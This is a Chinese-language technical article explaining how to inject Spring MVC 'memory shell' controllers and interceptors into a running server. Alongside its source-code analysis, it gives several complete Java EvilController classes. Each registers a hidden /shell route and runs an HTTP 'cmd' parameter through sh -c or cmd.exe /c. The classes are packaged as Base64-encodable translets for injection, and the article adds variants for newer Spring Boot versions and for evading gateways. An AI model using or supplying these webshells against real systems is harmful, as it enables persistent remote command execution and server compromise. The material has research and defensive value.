1 2 3 4 5 6 7 at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.lookupHandlerMethod(AbstractHandlerMethodMapping.java:402) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.getHandlerInternal(AbstractHandlerMethodMapping.java:383) at org.springframework.web.servlet.mvc.method.RequestMappingInfoHandlerMapping.getHandlerInternal(RequestMappingInfoHandlerMapping.java:125) at org.springframework.web.servlet.mvc.method.RequestMappingInfoHandlerMapping.getHandlerInternal(RequestMappingInfoHandlerMapping.java:67) at org.springframework.web.servlet.handler.AbstractHandlerMapping.getHandler(AbstractHandlerMapping.java:498) at org.springframework.web.servlet.DispatcherServlet.getHandler(DispatcherServlet.java:1266) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1048)
在 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal 方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @Override @Nullable protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { String lookupPath = initLookupPath(request); this .mappingRegistry.acquireReadLock(); try { HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request); return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null ); } finally { this .mappingRegistry.releaseReadLock(); } }
其中 mappingRegistry 中就存储着我们的路由信息。这里首先对 mappingRegistry 进行上锁,最后在 finally 块中进行解锁。
1 2 3 4 5 6 7 8 9 10 11 12 this.mappingRegistry = {AbstractHandlerMethodMapping$MappingRegistry@5936} registry = {HashMap@5961} size = 3 {RequestMappingInfo@5985} "{ [/error], produces [text/html]}" -> {AbstractHandlerMethodMapping$MappingRegistration@5986} {RequestMappingInfo@5987} "{ [/error]}" -> {AbstractHandlerMethodMapping$MappingRegistration@5988} {RequestMappingInfo@5989} "{GET [/hello]}" -> {AbstractHandlerMethodMapping$MappingRegistration@5990} pathLookup = {LinkedMultiValueMap@5962} size = 2 "/hello" -> {ArrayList@5977} size = 1 "/error" -> {ArrayList@5979} size = 2 nameLookup = {ConcurrentHashMap@5963} size = 3 corsLookup = {ConcurrentHashMap@5964} size = 0 readWriteLock = {ReentrantReadWriteLock@5965} "java.util.concurrent.locks.ReentrantReadWriteLock@54fd94a0[Write locks = 0, Read locks = 0]" this$0 = {RequestMappingHandlerMapping@5851}
lookupHandlerMethod 方法根据我们访问的路径,调用 mappingRegistry.getMappingsByDirectPath 获取到了对应的路由。这里实际上就是从 mappingRegistry 的 pathLookup 中查找的。
1 2 3 4 5 6 7 8 9 public List<T> getMappingsByDirectPath (String urlPath) { return this .pathLookup.get(urlPath); } protected HandlerMethod lookupHandlerMethod (String lookupPath, HttpServletRequest request) throws Exception { List<Match> matches = new ArrayList <>(); List<T> directPathMatches = this .mappingRegistry.getMappingsByDirectPath(lookupPath); }
也就是说,我们只需要向 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#mappingRegistry 中添加恶意 Controller 的路由信息,就可以达到注入内存马的效果。
Controller 注册流程 Spring 项目启动时会调用 AbstractHandlerMethodMapping#registerHandlerMethod 将我们的 Controller 注册到 mappingRegistry 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry.register(AbstractHandlerMethodMapping.java:632) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.registerHandlerMethod(AbstractHandlerMethodMapping.java:332) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.registerHandlerMethod(RequestMappingHandlerMapping.java:420) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.registerHandlerMethod(RequestMappingHandlerMapping.java:76) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.lambda$detectHandlerMethods$2(AbstractHandlerMethodMapping.java:299) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$519.404588697.accept(Unknown Source:-1) at java.util.LinkedHashMap.forEach(LinkedHashMap.java:684) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.detectHandlerMethods(AbstractHandlerMethodMapping.java:297) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.processCandidateBean(AbstractHandlerMethodMapping.java:266) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.initHandlerMethods(AbstractHandlerMethodMapping.java:225) at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.afterPropertiesSet(AbstractHandlerMethodMapping.java:213) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.afterPropertiesSet(RequestMappingHandlerMapping.java:205) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1863) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1800) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542) at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335) at org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$199.2145896000.getObject(Unknown Source:-1) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:929) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:591) at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:147) at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:732) at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:409) at org.springframework.boot.SpringApplication.run(SpringApplication.java:308) at org.springframework.boot.SpringApplication.run(SpringApplication.java:1300) at org.springframework.boot.SpringApplication.run(SpringApplication.java:1289) at com.example.HelloApplication.main(HelloApplication.java:9)
首先 initHandlerMethods 方法遍历所有 Bean,传入 processCandidateBean 方法中来处理 Bean。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected void initHandlerMethods () { for (String beanName : getCandidateBeanNames()) { if (!beanName.startsWith(SCOPED_TARGET_NAME_PREFIX)) { processCandidateBean(beanName); } } handlerMethodsInitialized(getHandlerMethods()); }
跟进 processCandidateBean 方法中,通过 getType 方法获取 beanType,后续判断该 Bean 是否为 Handler 对象,如果是的话,就将其传入 detectHandlerMethods 方法中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 protected void processCandidateBean (String beanName) { Class<?> beanType = null ; try { beanType = obtainApplicationContext().getType(beanName); } catch (Throwable ex) { if (logger.isTraceEnabled()) { logger.trace("Could not resolve type for bean '" + beanName + "'" , ex); } } if (beanType != null && isHandler(beanType)) { detectHandlerMethods(beanName); } }
在 detectHandlerMethods 方法中,调用 getMappingForMethod 来获取到 Map 类 methods,构成为 <Method,RequestMapping>,后续通过遍历 methods,调用 registerHandlerMethod 方法执行了注册 Controller 的操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 @Override @Nullable protected void detectHandlerMethods (Object handler) { Class<?> handlerType = (handler instanceof String ? obtainApplicationContext().getType((String) handler) : handler.getClass()); if (handlerType != null ) { Class<?> userType = ClassUtils.getUserClass(handlerType); Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (MethodIntrospector.MetadataLookup<T>) method -> { try { return getMappingForMethod(method, userType); } catch (Throwable ex) { throw new IllegalStateException ("Invalid mapping on handler class [" + userType.getName() + "]: " + method, ex); } }); if (logger.isTraceEnabled()) { logger.trace(formatMappings(userType, methods)); } else if (mappingsLogger.isDebugEnabled()) { mappingsLogger.debug(formatMappings(userType, methods)); } methods.forEach((method, mapping) -> { Method invocableMethod = AopUtils.selectInvocableMethod(method, userType); registerHandlerMethod(handler, invocableMethod, mapping); }); } }
持续跟进 registerHandlerMethod,最后注册 Controller 的方法为 this.mappingRegistry.register 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 protected void registerHandlerMethod (Object handler, Method method, T mapping) { this .mappingRegistry.register(mapping, handler, method); }
内存马实现 在 Spring2.5 - 3.1 中使用 defaultAnnotationHandlerMapping 处理URL映射。在 Spring3.1 之后使用 RequestMappingHandlerMapping 方法。在模拟注册 Controller 时,一般有三种方法。
registryMapping 根据上面的源码分析,可以直接将 Controller 直接注册进 registryMapping。而想要将 Controller 注册去,那么我们就要获取到 registryMapping,该参数可以直接通过调用 WebApplicationContext 的 getBean 方法获取:
1 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
在调用 RegistryMapping 注册时,需要传入三个参数:RequestMappingInfo、Controller、Method,因此这三个参数是我们所需要构造的
创建 RequestMappingInfo,需要传入 PatternsRequestCondition(Controller 映射的 URL)和 RequestMethodsRequestCondition(HTTP的请求方法)
1 2 3 PatternsRequestCondition url = new PatternsRequestCondition ("/shell" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null );
恶意 Controller 就是我们的核心,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @RestController public class InjectedController { public InjectedController () { } public void cmd () throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } }
关于代码里使用 useDelimiter(“\A”) 的意思 :
正则表达式”\A“跟”^“的作用是一样的,代表文本的开头。这里表示:以文本的开头作为分隔符分割文本(默认是使用空格作为分隔符)。这样就能一下子获取整段文本的内容了,同时 Scanner 也在内部完成了 InputStream 转 String 的操作。节省书写代码,即不需要我们再写循环把 inputStream 的内容读到 byte[] 再放进 String。
最后需要创建 Method,就是我们想要触发的 Controller 中的方法,这里我们通过反射获取该方法:
1 Method method = InjectedController.class.getMethod("cmd" );
最后调用 RegistryMapping 方法进行注册即可:
1 requestMappingHandlerMapping.registerMapping(info, injectedController, method);
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.stereotype.Controller;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Method;import java.util.Base64;import java.util.Scanner;@Controller public class EvilController extends AbstractTranslet { static { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = EvilController.class.getDeclaredMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, new EvilController (), method); } catch (Exception ignored) { } } public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main (String[] args) { String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilController.class).getBytes()); System.out.println(b64.length()); System.out.println(b64); } }
然而上述代码从 Springboot 2.6.0 版本开始会产生如下报错:
java.lang.IllegalArgumentException: Expected lookupPath in request attribute “org.springframework.web.util.UrlPathHelper.PATH”.
原因在于从 Springboot 2.6.0 版本开始,官方修改了url路径的默认匹配策略,版本发布日志 部分如下:
The default strategy for matching request paths against registered Spring MVC handler mappings has changed from AntPathMatcher to PathPatternParser.
Spring MVC 中,用于将请求路径与已注册的处理器映射(handler mapping)进行匹配的默认策略 已从原来的 AntPathMatcher 更改为 PathPatternParser。
如果在 Springboot 2.6.0 的环境下,通过 application.properties 配置文件设置 spring.mvc.pathmatch.matching-strategy 的值为 ant_path_matcher,即修改服务端的路径匹配策略为 AntPathMatcher,注入的 Controller 内存马后访问就没问题了。
1 spring.mvc.pathmatch.matching-strategy =ant_path_matcher
ant-path-matcher/ant_path_matcher 都能被 Boot 绑定,不用纠结连字符还是下划线。
在 AbstractHandlerMethodMapping#detectHandelrMethod() 函数中,methods 是一个 map 对象,Method 对象作为键,相应的包含访问路径等信息的 RequestMappingInfo 对象作为值。最后遍历 methods 这个 map 集合,对每一项进行注册,即把每一个method、访问路径及 Controller 保存到 AbstractHandlerMethodMapping.MappingRegistry 对象中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (MethodIntrospector.MetadataLookup<T>) method -> { try { return getMappingForMethod(method, userType); } catch (Throwable ex) { throw new IllegalStateException ("Invalid mapping on handler class [" + userType.getName() + "]: " + method, ex); } }); methods.forEach((method, mapping) -> { Method invocableMethod = AopUtils.selectInvocableMethod(method, userType); registerHandlerMethod(handler, invocableMethod, mapping); });
再看一下 methods 里的每一项,作为 key 的 Method 对象很好理解,那作为 value 的 RequestMappingInfo 对象时如何创建的呢?
还是上面的代码,它是由 RequestMappingHandlerMapping#getMappingForMethod() 方法创建的,该方法又调用了 RequestMappingInfo#createRequestMappingInfo(RequestMapping, RequestCondition) 方法。
1 2 3 4 at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.createRequestMappingInfo(RequestMappingHandlerMapping.java:368) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.createRequestMappingInfo(RequestMappingHandlerMapping.java:324) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.getMappingForMethod(RequestMappingHandlerMapping.java:284) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.getMappingForMethod(RequestMappingHandlerMapping.java:76)
来看一下 createRequestMappingInfo(RequestMapping, RequestCondition) 方法的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 protected RequestMappingInfo createRequestMappingInfo ( RequestMapping requestMapping, @Nullable RequestCondition<?> customCondition) { RequestMappingInfo.Builder builder = RequestMappingInfo .paths(resolveEmbeddedValuesInPatterns(requestMapping.path())) .methods(requestMapping.method()) .params(requestMapping.params()) .headers(requestMapping.headers()) .consumes(requestMapping.consumes()) .produces(requestMapping.produces()) .mappingName(requestMapping.name()); if (customCondition != null ) { builder.customCondition(customCondition); } return builder.options(this .config).build(); }
所以我们可以参照这段代码来得到 RequestMappingInfo 对象,实现更通用的 Controller 内存马。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.stereotype.Controller;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.Scanner;@Controller public class EvilController extends AbstractTranslet { static { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = EvilController.class.getDeclaredMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); Field configField = r.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(r); RequestMappingInfo info = RequestMappingInfo.paths("/shell" ) .options(config) .build(); r.registerMapping(info, new EvilController (), method); } catch (Exception ignored) { } } public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main (String[] args) { String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilController.class).getBytes()); System.out.println(b64.length()); System.out.println(b64); } }
或者我们干脆直接调用 RequestMappingHandlerMapping#getMappingForMethod() 去获取 RequestMappingInfo 对象,不过实现时要注意两点:
RequestMappingHandlerMapping#getMappingForMethod() 方法本身并没有接收 method 对应的 url 路径,它会从 method 的 @RequestMapping 注解中获取 url 路径。如果这个 method 没有被 @RequestMapping 或其子类如 @GetMapping、@PostMapping 注解的话,是无法得到 RequestMappingInfo 对象的,得到的是 null。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @Nullable private RequestMappingInfo createRequestMappingInfo (AnnotatedElement element) { RequestMapping requestMapping = AnnotatedElementUtils.findMergedAnnotation(element, RequestMapping.class); RequestCondition<?> condition = (element instanceof Class ? getCustomTypeCondition((Class<?>) element) : getCustomMethodCondition((Method) element)); return (requestMapping != null ? createRequestMappingInfo(requestMapping, condition) : null ); }
由于 RequestMappingHandlerMapping#getMappingForMethod() 方法不是 public 修饰的方法,所以需要使用反射调用。
综上,可得到另一种通用 Controller 内存马的实现方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.Scanner;@Controller public class EvilController extends AbstractTranslet { static { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = EvilController.class.getDeclaredMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); Method getMappingForMethod = r.getClass().getDeclaredMethod("getMappingForMethod" , Method.class, Class.class); getMappingForMethod.setAccessible(true ); RequestMappingInfo info = (RequestMappingInfo) getMappingForMethod.invoke(r, method, EvilController.class); r.registerMapping(info, new EvilController (), method); } catch (Exception ignored) { } } @RequestMapping("/shell") public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main (String[] args) { String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilController.class).getBytes()); System.out.println(b64.length()); System.out.println(b64); } }
detectHandlerMethods 在上面分析注册流程时,detectHandlerMethods 中,用 getMappingForMethod 获取了 RequestMappingInfo,然后调用 registerHandlerMethod 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 @Override @Nullable protected void detectHandlerMethods (Object handler) { Class<?> handlerType = (handler instanceof String ? obtainApplicationContext().getType((String) handler) : handler.getClass()); if (handlerType != null ) { Class<?> userType = ClassUtils.getUserClass(handlerType); Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (MethodIntrospector.MetadataLookup<T>) method -> { try { return getMappingForMethod(method, userType); } catch (Throwable ex) { throw new IllegalStateException ("Invalid mapping on handler class [" + userType.getName() + "]: " + method, ex); } }); if (logger.isTraceEnabled()) { logger.trace(formatMappings(userType, methods)); } else if (mappingsLogger.isDebugEnabled()) { mappingsLogger.debug(formatMappings(userType, methods)); } methods.forEach((method, mapping) -> { Method invocableMethod = AopUtils.selectInvocableMethod(method, userType); registerHandlerMethod(handler, invocableMethod, mapping); }); } }
这里由于 detectHandlerMethods 为 protect 作用域,因此需要通过反射调用该方法(在使用该方法注册 Controller 的时候,我们构造的恶意 Controller 需要用注解指定路径,例如 @RequestMapping("/shell"))
1 2 3 4 5 6 7 8 9 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("org.example.springmvc.InjectedController" ).newInstance()); org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods" , Object.class); m1.setAccessible(true ); m1.invoke(requestMappingHandlerMapping, "dynamicController" );
registerHandler 上面两种方法适用于 spring3.1 之后,RequestMappingHandlerMapping 为映射器时。
如下面的配置,当有些老旧的项目中使用旧式注解映射器时,上下文环境中没有 RequestMappingHandlerMapping 实例的 bean,但会存在 DefaultAnnotationHandlerMapping 的实例 bean。
1 2 <bean class ="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" /> <bean class ="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter" />
Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;
Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持 @Contoller 和 @RequestMapping 注解。
当使用 DefaultAnnotationHandlerMapping 作为映射器时,可以使用该类顶层父类的 registerHandler 方法来注册 Controller,但是不太常用了。
1 2 3 4 5 6 7 8 9 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("org.example.springmvc.InjectedController" ).newInstance()); org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler" , String.class, Object.class); m1.setAccessible(true ); m1.invoke(dh, "/favicon" , "dynamicController" );
Interceptor 内存马 随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器之前往往需要经过 Load Balancer 和 API Gateway 等系统的流量转发。这样就导致在漏洞利用时可能会出现一个问题:如果请求的 url 是没有在网关系统注册的路由,在请求转发到真正的业务系统前就会被丢弃。
所以,在注入 Java 内存马时,尽量不要使用新的路由来专门处理我们注入的 Webshell 逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 Tomcat 容器下,有 Filter、Listener 可以达到上述要求。在 SpringMVC 框架层面下,Interceptor(拦截器) 可以满足要求.
源码分析 Interceptor 执行流程 在前面分析的 org.springframework.web.servlet.DispatcherServlet#doDispatch 方法中,还调用了 org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle 方法:
1 2 3 if (!mappedHandler.applyPreHandle(processedRequest, response)) { return ; }
跟进 applyPreHandle,可以看到里面遍历调用了 interceptor 的 preHande 方法,如果其中有拦截器返回 false 就会返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 boolean applyPreHandle (HttpServletRequest request, HttpServletResponse response) throws Exception { for (int i = 0 ; i < this .interceptorList.size(); i++) { HandlerInterceptor interceptor = this .interceptorList.get(i); if (!interceptor.preHandle(request, response, this .handler)) { triggerAfterCompletion(request, response, null ); return false ; } this .interceptorIndex = i; } return true ; }
Interceptor 注册流程 这里主要分析的是 Spring 在处理一次请求时初始化要调用的 Interceptor 列表的过程。
doDispatch 函数调用 getHandler 时有如下调用栈:
1 2 3 4 at org.springframework.web.servlet.handler.AbstractHandlerMapping.getHandlerExecutionChain(AbstractHandlerMapping.java:604) at org.springframework.web.servlet.handler.AbstractHandlerMapping.getHandler(AbstractHandlerMapping.java:516) at org.springframework.web.servlet.DispatcherServlet.getHandler(DispatcherServlet.java:1266) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1048)
跟进 getHandlerExecutionChain,该方法遍历取出 adapedInterceptor 中的 intercepter,如果该 interceptor 符合条件,就添加到 chain 中(和 Tomcat 中的 FilterChain 也是比较像的)。
